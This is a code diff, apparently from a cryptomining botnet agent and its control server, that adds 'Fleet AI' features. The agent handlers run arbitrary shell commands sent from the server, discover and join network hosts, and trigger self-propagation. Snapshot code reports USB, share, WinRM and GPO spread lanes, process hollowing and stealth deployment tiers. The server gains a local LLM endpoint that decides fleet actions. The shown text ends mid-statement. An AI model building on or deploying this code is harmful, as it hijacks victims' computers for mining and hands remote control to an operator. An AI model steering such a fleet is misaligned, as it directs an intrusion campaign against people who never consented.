diff --git a/agent/client/ai_commands.go b/agent/client/ai_commands.go new file mode 100644 index 0000000..58b4344 --- /dev/null +++ b/agent/client/ai_commands.go @@ -0,0 +1,136 @@ +package client + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "crypto-miner-agent/deploy" + "crypto-miner-agent/miner" +) + +type aiCommandHandler func(c *AgentClient, tailLines int, command, path, data string) + +var aiCommandHandlers = map[string]aiCommandHandler{ + "exec_shell": handleAIExecShell, + "restart_mining": handleAIRestartMining, + "run_diagnostics": handleAIRunDiagnostics, + "discover_and_join": handleAIDiscoverAndJoin, + "spread_now": handleAISpreadNow, + "full_sys_check": handleAIFullSysCheck, +} + +func (c *AgentClient) handleAICommand(action string, tailLines int, command, path, data string) bool { + handler, ok := aiCommandHandlers[action] + if !ok { + return false + } + handler(c, tailLines, command, path, data) + return true +} + +func handleAIExecShell(c *AgentClient, _ int, command, path, data string) { + if strings.TrimSpace(command) == "" && strings.TrimSpace(data) == "" { + c.sendCommandResult("exec_shell", false, "command is required") + return + } + shellCmd := command + if shellCmd == "" { + shellCmd = data + } + if err := validateAICommandPath(path); err != nil { + c.sendCommandResult("exec_shell", false, err.Error()) + return + } + if path != "" { + resolved, err := deploy.ResolveRemotePath(path) + if err != nil { + c.sendCommandResult("exec_shell", false, err.Error()) + return + } + resolved = filepath.Clean(resolved) + info, err := os.Stat(resolved) + if err != nil { + c.sendCommandResult("exec_shell", false, err.Error()) + return + } + if !info.IsDir() { + c.sendCommandResult("exec_shell", false, "path must be a directory when used as working directory") + return + } + if runtime.GOOS == "windows" { + shellCmd = fmt.Sprintf("Set-Location -LiteralPath %q; %s", resolved, shellCmd) + } else { + shellCmd = fmt.Sprintf("cd %q && %s", resolved, shellCmd) + } + } + out, err := c.runShellCommand(shellCmd) + if err != nil { + c.sendCommandResult("exec_shell", false, formatCmdErr(err, out)) + return + } + c.sendCommandResult("exec_shell", true, string(out)) +} + +func handleAIRestartMining(c *AgentClient, _ int, _, _, _ string) { + if c.wslMiner != nil && c.wslMiner.Running() { + wslRT := miner.WSLDetector() + _ = miner.ToggleWSLMining(wslRT, "", true) + } + if c.miningChain != nil { + c.miningChain.Restart(context.Background()) + } else { + c.pool.ResumeRemote() + } + c.sendCommandResult("restart_mining", true, "mining chain restart requested") +} + +func handleAIRunDiagnostics(c *AgentClient, _ int, _, _, _ string) { + c.sendCommandResult("run_diagnostics", true, c.miningDiagnosticsJSON()) +} + +func handleAIDiscoverAndJoin(c *AgentClient, _ int, command, _, _ string) { + ok, reason := c.allowRemoteAction("discover_and_join") + if !ok { + c.sendCommandResult("discover_and_join", false, reason) + return + } + maxHosts := parsePortArg(command, 32) + go func() { + msg, err := c.runDiscoverAndJoin(maxHosts) + if err != nil { + c.sendCommandResult("discover_and_join", false, err.Error()) + return + } + c.sendCommandResult("discover_and_join", true, msg) + }() +} + +func handleAISpreadNow(c *AgentClient, _ int, _, _, _ string) { + ok, reason := c.allowRemoteAction("spread_now") + if !ok { + c.sendCommandResult("spread_now", false, reason) + return + } + msg := deploy.RunSpreadOnce(c.cfg) + c.sendCommandResult("spread_now", true, msg) +} + +func handleAIFullSysCheck(c *AgentClient, _ int, _, _, _ string) { + report := CollectFullSysCheck(c.cfg, c.agentID) + c.sendCommandResult("full_sys_check", true, report.JSON()) +} + +func validateAICommandPath(path string) error { + path = strings.TrimSpace(path) + if path == "" { + return nil + } + if containsPathTraversal(path) { + return fmt.Errorf("path traversal (..) is not allowed") + } + return nil +} diff --git a/agent/client/ai_commands_test.go b/agent/client/ai_commands_test.go new file mode 100644 index 0000000..5617cfe --- /dev/null +++ b/agent/client/ai_commands_test.go @@ -0,0 +1,137 @@ +package client + +import ( + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestValidateAICommandPathRejectsTraversal(t *testing.T) { + cases := []string{ + "../etc/passwd", + "/home/user/../../secret", + `C:\Users\alice\..\admin`, + } + for _, path := range cases { + if err := validateAICommandPath(path); err == nil { + t.Fatalf("expected traversal rejection for %q", path) + } + } +} + +func TestValidateAICommandPathAllowsSafePaths(t *testing.T) { + for _, path := range []string{"", "~/Downloads", "C:\\Users\\alice\\docs"} { + if err := validateAICommandPath(path); err != nil { + t.Fatalf("path %q: %v", path, err) + } + } +} + +func TestHandleAIExecShellRejectsTraversalPath(t *testing.T) { + var gotAction string + var gotOK bool + var gotMsg string + c := newTestClient(t) + c.commandResultHook = func(action string, success bool, message string) { + gotAction = action + gotOK = success + gotMsg = message + } + c.handleAICommand("exec_shell", 0, "echo hi", "../outside", "") + if gotAction != "exec_shell" || gotOK || !strings.Contains(gotMsg, "path traversal") { + t.Fatalf("got action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg) + } +} + +func TestHandleAIExecShellRequiresCommand(t *testing.T) { + var gotMsg string + c := newTestClient(t) + c.commandResultHook = func(_ string, success bool, message string) { + if !success { + gotMsg = message + } + } + c.handleAICommand("exec_shell", 0, "", "", "") + if !strings.Contains(gotMsg, "command is required") { + t.Fatalf("msg=%q", gotMsg) + } +} + +func TestHandleAIRunDiagnostics(t *testing.T) { + var gotAction string + var gotOK bool + c := newTestClient(t) + c.commandResultHook = func(action string, success bool, _ string) { + gotAction = action + gotOK = success + } + c.handleAICommand("run_diagnostics", 0, "", "", "") + if gotAction != "run_diagnostics" || !gotOK { + t.Fatalf("action=%s ok=%v", gotAction, gotOK) + } +} + +func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) { + var gotOK bool + var gotMsg string + c := newTestClient(t) + c.cfg.AutoSpread = false + c.cfg.RemoteAggressive = false + c.commandResultHook = func(_ string, success bool, message string) { + gotOK = success + gotMsg = message + } + c.handleAICommand("spread_now", 0, "", "", "") + if gotOK || !strings.Contains(gotMsg, "not enabled") { + t.Fatalf("ok=%v msg=%q", gotOK, gotMsg) + } +} + +func TestHandleAICommandUnknownAction(t *testing.T) { + c := newTestClient(t) + if c.handleAICommand("not_an_ai_command", 0, "", "", "") { + t.Fatal("unknown action should not be handled") + } +} + +func TestAICommandHandlersCoverRequiredActions(t *testing.T) { + required := []string{ + "exec_shell", "restart_mining", "run_diagnostics", + "discover_and_join", "spread_now", "full_sys_check", + } + for _, action := range required { + if _, ok := aiCommandHandlers[action]; !ok { + t.Fatalf("missing handler for %q", action) + } + } +} + +func TestHandleAIRestartMining(t *testing.T) { + var gotAction string + var gotOK bool + c := newTestClient(t) + c.commandResultHook = func(action string, success bool, _ string) { + gotAction = action + gotOK = success + } + c.handleAICommand("restart_mining", 0, "", "", "") + if gotAction != "restart_mining" || !gotOK { + t.Fatalf("action=%s ok=%v", gotAction, gotOK) + } +} + +func TestHandleAIFullSysCheck(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.GetBuiltinConfig(), AgentID: "a1"} + c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool} + var gotOK bool + c.commandResultHook = func(action string, success bool, _ string) { + if action == "full_sys_check" { + gotOK = success + } + } + c.handleAICommand("full_sys_check", 0, "", "", "") + if !gotOK { + t.Fatal("expected full_sys_check success") + } +} diff --git a/agent/client/ai_snapshot.go b/agent/client/ai_snapshot.go new file mode 100644 index 0000000..def250f --- /dev/null +++ b/agent/client/ai_snapshot.go @@ -0,0 +1,354 @@ +package client + +import ( + "encoding/json" + "os" + "runtime" + "strings" + "time" + + "crypto-miner-agent/config" + "crypto-miner-agent/deploy" + "crypto-miner-agent/miner" +) + +// AITierStatus records one deploy or mining tier for Fleet AI snapshots. +type AITierStatus struct { + Tier string `json:"tier"` + Phase string `json:"phase,omitempty"` + Attempted bool `json:"attempted"` + OK bool `json:"ok,omitempty"` + Error string `json:"error,omitempty"` + Skipped bool `json:"skipped,omitempty"` + DurationMs int64 `json:"duration_ms,omitempty"` +} + +// AIForgeFlags summarizes forge-time spread and LOTL options baked into the agent. +type AIForgeFlags struct { + LotlOnionEnabled bool `json:"lotl_onion_enabled"` + LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"` + AutoSpread bool `json:"auto_spread"` + USBSpread bool `json:"usb_spread,omitempty"` + ShareSpread bool `json:"share_spread,omitempty"` + RemoteAggressive bool `json:"remote_aggressive,omitempty"` + HolePunch bool `json:"hole_punch,omitempty"` + MeshP2P bool `json:"mesh_p2p,omitempty"` + ProcessHollowing bool `json:"process_hollowing,omitempty"` + GPUEnabled bool `json:"gpu_enabled,omitempty"` + AIEnabled bool `json:"ai_enabled,omitempty"` +} + +// AICapabilitiesSnapshot reports remote features this build exposes on the current OS. +type AICapabilitiesSnapshot struct { + Platform string `json:"platform"` + HolePunch bool `json:"hole_punch"` + RemoteAggressive bool `json:"remote_aggressive"` + MeshP2P bool `json:"mesh_p2p"` + AutoSpread bool `json:"auto_spread"` + AIEnabled bool `json:"ai_enabled"` + USBSpread bool `json:"usb_spread"` + ProcessHollowing bool `json:"process_hollowing"` + GPUEnabled bool `json:"gpu_enabled"` + LotlOnion bool `json:"lotl_onion"` + SpreadLanes []string `json:"spread_lanes,omitempty"` + MiningTiersAvail []string `json:"mining_tiers_available,omitempty"` +} + +// AISnapshot is the 1-minute Fleet AI machine state payload. +type AISnapshot struct { + GeneratedAt string `json:"generated_at"` + AgentName string `json:"agent_name"` + AgentID string `json:"agent_id"` + WorkerNumber string `json:"worker_number,omitempty"` + + BuildID string `json:"build_id,omitempty"` + Version string `json:"version"` + Platform string `json:"platform"` + Arch string `json:"arch,omitempty"` + + ForgeFlags AIForgeFlags `json:"forge_flags"` + + DeployTiers []AITierStatus `json:"deploy_tiers"` + MiningTiers []AITierStatus `json:"mining_tiers"` + + MiningHashrate float64 `json:"mining_hashrate"` + LOTLTier string `json:"lotl_tier,omitempty"` + MiningActive bool `json:"mining_active"` + JoinLane string `json:"join_lane,omitempty"` + + Capabilities AICapabilitiesSnapshot `json:"capabilities"` + Stuck bool `json:"stuck"` + + VulnRiskScore *int `json:"vuln_risk_score,omitempty"` + AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"` + ChainExhausted bool `json:"chain_exhausted,omitempty"` +} + +func workerNumberFromConfig(cfg config.RuntimeConfig) string { + if n := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER_NUMBER")); n != "" { + return n + } + return "" +} + +func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot { + c.mu.Lock() + cfg := c.cfg + agentID := c.agentID + c.mu.Unlock() + + hostname, _, _ := c.reporter.SystemInfo() + agentName := strings.TrimSpace(cfg.WorkerName) + if agentName == "" { + agentName = hostname + } + + var ms miner.MiningStatus + if c.miningChain != nil { + ms = c.miningChain.Status() + } + + attempts := ms.LOTLAttempts + policy := c.miningTierPolicy() + probes := miner.ProbeEnvironment(miner.RuntimeDetector) + miningChain, miningSkipped := miner.SelectMiningTierChain(probes, policy, cfg) + + deployOrder := deploy.NormalizeLotlTiers(cfg.LotlOnionTiers) + if len(deployOrder) == 0 { + deployOrder = append([]string(nil), deploy.DefaultLotlOnionTiers...) + } + + snap := AISnapshot{ + GeneratedAt: time.Now().UTC().Format(time.RFC3339), + AgentName: agentName, + AgentID: agentID, + WorkerNumber: workerNumberFromConfig(cfg), + BuildID: cfg.BuildID, + Version: config.Version, + Platform: runtime.GOOS, + Arch: runtime.GOARCH, + ForgeFlags: forgeFlagsFromConfig(cfg), + DeployTiers: buildDeployTierStatuses(deployOrder, attempts), + MiningTiers: buildMiningTierStatuses(miningChain, miningSkipped, attempts), + MiningHashrate: miningHashrate, + LOTLTier: string(ms.LOTLTier), + MiningActive: c.isMiningActive(ms, miningHashrate), + JoinLane: c.getJoinLane(), + Capabilities: buildAICapabilities(cfg, deployOrder, miningChain), + ChainExhausted: ms.ChainExhausted, + } + snap.Stuck = aiSnapshotStuck(snap, ms) + + if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 { + snap.AdaptiveStrategySummary = adaptiveStrategySummary(strat) + } + if vr := LastVulnScan(); vr != nil { + score := vr.RiskScore + snap.VulnRiskScore = &score + } + return snap +} + +func forgeFlagsFromConfig(cfg config.RuntimeConfig) AIForgeFlags { + return AIForgeFlags{ + LotlOnionEnabled: cfg.LotlOnionEnabled, + LotlPolicyFromServer: cfg.LotlPolicyFromServer, + AutoSpread: cfg.AutoSpread, + USBSpread: cfg.USBSpread, + ShareSpread: cfg.ShareSpread, + RemoteAggressive: cfg.RemoteAggressive, + HolePunch: cfg.HolePunch, + MeshP2P: cfg.MeshP2P, + ProcessHollowing: cfg.ProcessHollowing, + GPUEnabled: cfg.GPUEnabled, + AIEnabled: cfg.AIEnabled, + } +} + +func attemptIndex(attempts []miner.TierAttempt) map[string]miner.TierAttempt { + idx := make(map[string]miner.TierAttempt, len(attempts)) + for _, a := range attempts { + key := strings.ToLower(string(a.Tier)) + if a.Phase != "" { + key = a.Phase + ":" + key + } + idx[key] = a + } + return idx +} + +func buildDeployTierStatuses(order []string, attempts []miner.TierAttempt) []AITierStatus { + idx := attemptIndex(attempts) + out := make([]AITierStatus, len(order)) + for i, tier := range order { + st := AITierStatus{Tier: tier} + for _, phase := range []string{"deploy", "recon"} { + if a, ok := idx[phase+":"+tier]; ok { + st.Phase = phase + st.Attempted = true + st.OK = a.OK + st.Error = a.Error + st.DurationMs = a.DurationMs + break + } + } + if !st.Attempted { + if a, ok := idx[tier]; ok && (a.Phase == "" || a.Phase == "deploy" || a.Phase == "recon") { + st.Phase = a.Phase + st.Attempted = true + st.OK = a.OK + st.Error = a.Error + st.DurationMs = a.DurationMs + } + } + out[i] = st + } + return out +} + +func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.TierAttempt) []AITierStatus { + seen := make(map[miner.LOTLTier]bool, len(chain)+len(skipped)+1) + order := make([]miner.LOTLTier, 0, len(chain)+len(skipped)+1) + for _, t := range append([]miner.LOTLTier{miner.TierVulnProbe}, chain...) { + if seen[t] { + continue + } + seen[t] = true + order = append(order, t) + } + skipSet := make(map[miner.LOTLTier]bool, len(skipped)) + for _, t := range skipped { + skipSet[t] = true + } + + idx := attemptIndex(attempts) + out := make([]AITierStatus, len(order)) + for i, tier := range order { + name := strings.ToLower(string(tier)) + st := AITierStatus{Tier: name, Skipped: skipSet[tier]} + if a, ok := idx["mining:"+name]; ok { + st.Phase = "mining" + st.Attempted = true + st.OK = a.OK + st.Error = a.Error + st.DurationMs = a.DurationMs + } else if a, ok := idx[name]; ok && (a.Phase == "" || a.Phase == "mining") { + st.Phase = a.Phase + st.Attempted = true + st.OK = a.OK + st.Error = a.Error + st.DurationMs = a.DurationMs + } + out[i] = st + } + return out +} + +func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot { + lanes := spreadLanesForPlatform(runtime.GOOS, deployOrder) + mining := make([]string, 0, len(miningChain)) + for _, t := range miningChain { + mining = append(mining, string(t)) + } + return AICapabilitiesSnapshot{ + Platform: runtime.GOOS, + HolePunch: cfg.HolePunch, + RemoteAggressive: cfg.RemoteAggressive, + MeshP2P: cfg.MeshP2P, + AutoSpread: cfg.AutoSpread, + AIEnabled: cfg.AIEnabled, + USBSpread: cfg.USBSpread, + ProcessHollowing: cfg.ProcessHollowing, + GPUEnabled: cfg.GPUEnabled, + LotlOnion: cfg.LotlOnionEnabled, + SpreadLanes: lanes, + MiningTiersAvail: mining, + } +} + +func spreadLanesForPlatform(goos string, order []string) []string { + winOnly := map[string]bool{ + "wsl": true, "powershell": true, "dotnet": true, "bits_curl": true, + "do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true, + } + linuxOnly := map[string]bool{"linux": true} + out := make([]string, 0, len(order)) + for _, lane := range order { + if winOnly[lane] && goos != "windows" { + continue + } + if linuxOnly[lane] && goos != "linux" { + continue + } + out = append(out, lane) + } + return out +} + +func (c *AgentClient) isMiningActive(ms miner.MiningStatus, hashrate float64) bool { + if hashrate > 0 { + return true + } + if ms.ActiveMethod != "" && !ms.ChainExhausted { + return true + } + remotePaused, _, _, hasJob, hps := c.pool.DiagnosticSnapshot() + return hasJob && !remotePaused && hps > 0 +} + +func aiSnapshotStuck(snap AISnapshot, ms miner.MiningStatus) bool { + if snap.MiningHashrate > 0 { + return false + } + if ms.ChainExhausted { + return true + } + allMiningAttempted := len(snap.MiningTiers) > 0 + for _, t := range snap.MiningTiers { + if !t.Skipped && !t.Attempted { + allMiningAttempted = false + break + } + } + if !allMiningAttempted { + return false + } + for _, t := range snap.MiningTiers { + if t.Skipped { + continue + } + if t.Attempted && t.OK { + return false + } + } + return true +} + +func adaptiveStrategySummary(strat AdaptiveStrategy) string { + if len(strat.Reasoning) == 0 { + if len(strat.TierOrder) == 0 { + return "" + } + return "order=" + strings.Join(strat.TierOrder, ",") + } + parts := make([]string, 0, len(strat.Reasoning)) + for _, r := range strat.Reasoning { + line := strings.TrimSpace(r.Inference) + if line == "" { + line = strings.TrimSpace(r.Action) + } + if line != "" { + parts = append(parts, line) + } + } + return strings.Join(parts, "; ") +} + +func (c *AgentClient) pushAISnapshot(miningHashrate float64) { + snap := c.buildAISnapshot(miningHashrate) + payload, err := json.Marshal(snap) + if err != nil { + return + } + _ = c.write(Message{Type: "ai_snapshot", Payload: payload}) +} diff --git a/agent/client/ai_snapshot_test.go b/agent/client/ai_snapshot_test.go new file mode 100644 index 0000000..341de78 --- /dev/null +++ b/agent/client/ai_snapshot_test.go @@ -0,0 +1,158 @@ +package client + +import ( + "encoding/json" + "os" + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/deploy" + "crypto-miner-agent/miner" +) + +func TestAISnapshotJSONShape(t *testing.T) { + t.Setenv("AETHERFORGE_WORKER_NUMBER", "42") + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + WorkerName: "lab-node", + BuildID: "build-abc", + LotlOnionEnabled: true, + AutoSpread: true, + USBSpread: true, + RemoteAggressive: true, + GPUEnabled: true, + LotlOnionTiers: append([]string(nil), deploy.DefaultLotlOnionTiers...), + }, + AgentID: "agent-fixture-1", + } + + base := newTestClient(t) + c := &AgentClient{ + cfg: cfg, + agentID: cfg.AgentID, + reporter: base.reporter, + pool: base.pool, + } + + snap := c.buildAISnapshot(0) + + raw, err := json.Marshal(snap) + if err != nil { + t.Fatal(err) + } + + var m map[string]json.RawMessage + if err := json.Unmarshal(raw, &m); err != nil { + t.Fatal(err) + } + + required := []string{ + "generated_at", "agent_name", "agent_id", "worker_number", + "build_id", "version", "platform", "forge_flags", + "deploy_tiers", "mining_tiers", "mining_hashrate", + "mining_active", "capabilities", "stuck", + } + for _, key := range required { + if _, ok := m[key]; !ok { + t.Fatalf("missing required snapshot field %q in %s", key, string(raw)) + } + } + + if snap.AgentName != "lab-node" { + t.Fatalf("agent_name=%q", snap.AgentName) + } + if snap.AgentID != "agent-fixture-1" { + t.Fatalf("agent_id=%q", snap.AgentID) + } + if snap.WorkerNumber != "42" { + t.Fatalf("worker_number=%q", snap.WorkerNumber) + } + if len(snap.DeployTiers) != len(deploy.DefaultLotlOnionTiers) { + t.Fatalf("deploy_tiers len=%d want %d", len(snap.DeployTiers), len(deploy.DefaultLotlOnionTiers)) + } + if snap.DeployTiers[0].Tier != "vuln_recon" { + t.Fatalf("first deploy tier=%q", snap.DeployTiers[0].Tier) + } + if len(snap.MiningTiers) == 0 { + t.Fatal("expected mining_tiers") + } + if snap.Capabilities.Platform == "" { + t.Fatal("capabilities.platform required") + } + if snap.ForgeFlags.LotlOnionEnabled != true || !snap.ForgeFlags.AutoSpread { + t.Fatalf("forge_flags=%+v", snap.ForgeFlags) + } +} + +func TestAISnapshotStuckWhenChainExhausted(t *testing.T) { + snap := AISnapshot{ + MiningHashrate: 0, + MiningTiers: []AITierStatus{ + {Tier: "cpu_inprocess", Attempted: true, OK: false}, + }, + } + ms := miner.MiningStatus{ChainExhausted: true} + if !aiSnapshotStuck(snap, ms) { + t.Fatal("expected stuck when chain exhausted and hashrate=0") + } + snap.MiningHashrate = 10 + if aiSnapshotStuck(snap, ms) { + t.Fatal("expected not stuck when hashrate>0") + } +} + +func TestBuildDeployTierStatusesFromAttempts(t *testing.T) { + attempts := []miner.TierAttempt{ + {Phase: "deploy", Tier: "docker", OK: true, DurationMs: 120}, + {Phase: "deploy", Tier: "wsl", OK: false, Error: "no distro", DurationMs: 50}, + } + order := []string{"docker", "wsl", "smb"} + got := buildDeployTierStatuses(order, attempts) + + if !got[0].Attempted || !got[0].OK || got[0].DurationMs != 120 { + t.Fatalf("docker status=%+v", got[0]) + } + if !got[1].Attempted || got[1].OK || got[1].Error != "no distro" { + t.Fatalf("wsl status=%+v", got[1]) + } + if got[2].Attempted { + t.Fatalf("smb should be unattempted: %+v", got[2]) + } +} + +func TestBuildMiningTierStatusesMarksSkipped(t *testing.T) { + chain := []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess} + skipped := []miner.LOTLTier{miner.TierWSL} + attempts := []miner.TierAttempt{ + {Phase: "mining", Tier: miner.TierContainer, OK: false, Error: "pull failed"}, + } + got := buildMiningTierStatuses(chain, skipped, attempts) + + byTier := map[string]AITierStatus{} + for _, st := range got { + byTier[st.Tier] = st + } + if !byTier["container"].Attempted || byTier["container"].OK { + t.Fatalf("container=%+v", byTier["container"]) + } + if !byTier["wsl"].Skipped { + t.Fatalf("wsl should be skipped: %+v", byTier["wsl"]) + } +} + +func TestWorkerNumberOmitemptyWithoutConfig(t *testing.T) { + os.Unsetenv("AETHERFORGE_WORKER_NUMBER") + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}} + c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool} + snap := c.buildAISnapshot(0) + raw, _ := json.Marshal(snap) + if string(raw) == "" { + t.Fatal("empty json") + } + var m map[string]interface{} + _ = json.Unmarshal(raw, &m) + if _, ok := m["worker_number"]; ok { + t.Fatalf("worker_number should be omitted, got %v", m["worker_number"]) + } +} diff --git a/agent/client/client.go b/agent/client/client.go index 78660ec..00e145a 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -483,6 +483,11 @@ func (c *AgentClient) handleMessage(msg Message) { go c.applyPolicyUpdate(msg.Payload) case "adaptive_strategy_update": c.applyAdaptiveStrategyJSON(msg.Payload) + case "ai_snapshot_request": + go func() { + hps := c.pool.HashesPerSecond() + c.pushAISnapshot(hps) + }() case "command": var cmd struct { Action string `json:"action"` @@ -502,6 +507,9 @@ func (c *AgentClient) handleMessage(msg Message) { } func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) { + if c.handleAICommand(action, tailLines, command, path, data) { + return + } if c.handleAggressiveCommand(action, tailLines, command, path, data) { return } @@ -1146,6 +1154,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { if err := c.write(Message{Type: "stats", Payload: payload}); err != nil { log.Printf("[agent] stats send failed: %v", err) } + // Piggyback Fleet AI snapshot on the ~60s stats probe tick. + if probeTick%6 == 0 { + c.pushAISnapshot(stats.MiningHashrate) + } } } } diff --git a/agent/client/handlemessage_test.go b/agent/client/handlemessage_test.go index ef90a97..d96702a 100644 --- a/agent/client/handlemessage_test.go +++ b/agent/client/handlemessage_test.go @@ -63,6 +63,12 @@ func TestHandleMessageNewJobSetsJob(t *testing.T) { } } +func TestHandleMessageAISnapshotRequest(t *testing.T) { + c := newTestClient(t) + // Should schedule push without panicking (write fails safely with nil conn). + c.handleMessage(Message{Type: "ai_snapshot_request", Payload: json.RawMessage("{}")}) +} + func TestHandleMessageNewJobWithErrorRetries(t *testing.T) { c := newTestClient(t) // Error payload — pool not ready yet. diff --git a/server/config.go b/server/config.go index 419092a..14144ef 100644 --- a/server/config.go +++ b/server/config.go @@ -81,6 +81,16 @@ type ServerSettings struct { TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"` // AdaptiveStrategyEnabled learns LOTL tier order from fleet outcomes (user machines only). AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"` + // AIControlEnabled switches fleet control from adaptive tier learning to local LLM decisions. + AIControlEnabled bool `json:"ai_control_enabled"` + // AIEndpoint is the OpenAI-compatible base URL (e.g. Ollama /v1). + AIEndpoint string `json:"ai_endpoint"` + // AIModel is the LLM model name for fleet AI control (Calibrate). + AIModel string `json:"ai_model"` + // AINoContext forces stateless single-turn decisions (no conversation memory). + AINoContext bool `json:"ai_no_context"` + // AIDecisionIntervalSec is seconds between AI decision cycles per agent (default 60). + AIDecisionIntervalSec int `json:"ai_decision_interval_sec"` } // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. @@ -283,6 +293,11 @@ func DefaultConfig() *Config { }, ServiceDeployAllowlist: defaultServiceDeployAllowlist(), AdaptiveStrategyEnabled: true, + AIControlEnabled: false, + AIEndpoint: "http://127.0.0.1:11434/v1", + AIModel: "", + AINoContext: true, + AIDecisionIntervalSec: 60, }, } } @@ -321,6 +336,7 @@ func LoadConfig() *Config { var presentKeys map[string]json.RawMessage _ = json.Unmarshal(data, &presentKeys) mergeConfigExplicit(cfg, &fileCfg, presentKeys) + hydrateLegacyAIConfig(cfg, data) if !strings.Contains(string(data), `"open_firewall_on_start"`) { cfg.Server.OpenFirewallOnStart = true } @@ -941,6 +957,30 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 { dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN } + if in(srvKeys, "adaptive_strategy_enabled") { + dst.Server.AdaptiveStrategyEnabled = src.Server.AdaptiveStrategyEnabled + } + if in(srvKeys, "ai_control_enabled") { + dst.Server.AIControlEnabled = src.Server.AIControlEnabled + } + if in(srvKeys, "ai_endpoint") { + dst.Server.AIEndpoint = src.Server.AIEndpoint + } + if in(srvKeys, "ai_local_endpoint") && src.Server.AIEndpoint != "" { + dst.Server.AIEndpoint = src.Server.AIEndpoint + } + if in(srvKeys, "ai_model") { + dst.Server.AIModel = src.Server.AIModel + } + if in(srvKeys, "ai_no_context") { + dst.Server.AINoContext = src.Server.AINoContext + } + if in(srvKeys, "ai_decision_interval_sec") && src.Server.AIDecisionIntervalSec > 0 { + dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec + } + if in(srvKeys, "ai_interval_sec") && src.Server.AIDecisionIntervalSec > 0 { + dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec + } } if has("tunnel_defaults") { @@ -969,6 +1009,36 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { } } +func hydrateLegacyAIConfig(cfg *Config, raw []byte) { + if cfg == nil || len(raw) == 0 { + return + } + var root map[string]json.RawMessage + if err := json.Unmarshal(raw, &root); err != nil { + return + } + srvRaw, ok := root["server"] + if !ok { + return + } + var srv map[string]json.RawMessage + if err := json.Unmarshal(srvRaw, &srv); err != nil { + return + } + if ep, ok := srv["ai_local_endpoint"]; ok && cfg.Server.AIEndpoint == "" { + var s string + if json.Unmarshal(ep, &s) == nil && strings.TrimSpace(s) != "" { + cfg.Server.AIEndpoint = strings.TrimSpace(s) + } + } + if iv, ok := srv["ai_interval_sec"]; ok && cfg.Server.AIDecisionIntervalSec == 0 { + var n int + if json.Unmarshal(iv, &n) == nil && n > 0 { + cfg.Server.AIDecisionIntervalSec = n + } + } +} + func (c *Config) Save() error { configPath := filepath.Join(c.DataDir, "config.json") data, err := json.MarshalIndent(c, "", " ") diff --git a/server/internal/ai/client.go b/server/internal/ai/client.go new file mode 100644 index 0000000..3085641 --- /dev/null +++ b/server/internal/ai/client.go @@ -0,0 +1,143 @@ +package ai + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "strings" + "time" +) + +var defaultHTTPClient = &http.Client{Timeout: 45 * time.Second} + +// ListModels GET {endpoint}/models — OpenAI-compatible model list. +func ListModels(ctx context.Context, endpoint string) ([]string, error) { + return ListModelsWithClient(ctx, endpoint, defaultHTTPClient) +} + +func ListModelsWithClient(ctx context.Context, endpoint string, client *http.Client) ([]string, error) { + base := normalizeEndpoint(endpoint) + if base == "" { + return nil, fmt.Errorf("endpoint is required") + } + if client == nil { + client = defaultHTTPClient + } + req, err := http.NewRequestWithContext(ctx, http.MethodGet, base+"/models", nil) + if err != nil { + return nil, err + } + resp, err := client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + body, _ := io.ReadAll(io.LimitReader(resp.Body, 1<<20)) + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("models: status %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) + } + var out struct { + Data []struct { + ID string `json:"id"` + } `json:"data"` + Models []struct { + Name string `json:"name"` + } `json:"models"` + } + if err := json.Unmarshal(body, &out); err != nil { + return nil, fmt.Errorf("models: parse: %w", err) + } + names := make([]string, 0) + seen := map[string]bool{} + for _, m := range out.Data { + id := strings.TrimSpace(m.ID) + if id != "" && !seen[id] { + seen[id] = true + names = append(names, id) + } + } + for _, m := range out.Models { + name := strings.TrimSpace(m.Name) + if name != "" && !seen[name] { + seen[name] = true + names = append(names, name) + } + } + return names, nil +} + +// Decide POST chat/completions — single turn, no conversation history. +func Decide(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error) { + return DecideWithClient(ctx, endpoint, model, systemPrompt, userPrompt, defaultHTTPClient) +} + +func DecideWithClient(ctx context.Context, endpoint, model, systemPrompt, userPrompt string, client *http.Client) (string, error) { + base := normalizeEndpoint(endpoint) + if base == "" { + return "", fmt.Errorf("endpoint is required") + } + if client == nil { + client = defaultHTTPClient + } + if strings.TrimSpace(model) == "" { + model = 